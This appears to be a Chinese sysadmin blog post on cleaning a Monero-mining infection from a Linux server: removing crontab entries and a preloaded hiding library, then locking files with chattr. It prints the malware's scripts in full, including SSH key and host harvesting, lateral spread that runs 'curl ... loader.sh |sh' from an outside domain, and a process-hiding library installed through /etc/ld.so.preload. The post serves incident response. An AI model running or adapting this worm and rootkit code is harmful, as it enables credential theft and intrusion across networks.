测试服务器被挖矿了,新增了crontab和动态库,清理方法:
异常进程先通过
lsof -p 进程id
查看恶意程序的位置,然后删除。
把/root/.git 文件夹删除 ,然后新建再加锁
rm -rf /root/.git && mkdir /root/.git && /opt/bak-chattr +i /root/.git
首先清理掉crontab
echo "" > /var/spool/cron/root
chattr +i /var/spool/cron/root
删除动态库
rm -rf /usr/local/lib/libc2.28.so
echo "" > /etc/ld.so.preload
chattr +i /usr/local/lib
注:库文件枷锁后续不能写入,新安装其他软件需要写入动态库时chattr -i 解锁即可
最后把重要命令隐藏下(看自己需要)
mv /usr/bin/chattr /mnt/bak-chattr
mv /usr/bin/curl /mnt/bak-curl
最后看下挖矿脚本,先干掉同行挖矿的程序,然后运行自己的,轮询ip和密钥各种尝试连接,然后接着curl下载黑嘿嘿...
echo "local go start" ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep supportxmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep xmrpool.net | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minergate.com| awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep viaxmr.com| awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9 myhostip=$(curl -sL icanhazip.com) KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub) KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }') KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'}) KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq) HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}') HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}") HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}') HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}') HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq) HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq) USERZ=$( echo "root" find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh" ) USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq) sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22") userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d') hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) i=0 for user in $userlist; do for host in $hostlist; do for key in $keylist; do for sshp in $sshports; do ((i++)) if [ "${i}" -eq "20" ]; then sleep 5 ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null & i=0 fi #Wait 5 seconds after every 20 attempts and clean up hanging processes chmod +r $key chmod 400 $key echo "$user@$host" ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh" ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh" done done done done # scangogo echo "local done"
if [ "$EUID" -ne 0 ] then echo "Please run as root" else if [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!" else apt-get update -y apt-get install build-essential -y yum makecache yum install build-essential -y dnf groupinstall "Development Tools" -y yum group install "Development Tools" -y curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl mv libc2.28.so /usr/local/lib/ -f grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload rm -f processhider.c ls >/tmp/.1 2>&1 grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fi fi
转载请注明:梦绘设计 » linux服务 » 挖矿病毒清理kworkers(libc2.28.so)
版权声明
本站《作品展示》类文章均为原创,转载必须注明出处,技术分享类文章部分来源于网络,版权归原作者所有,若侵权请留言。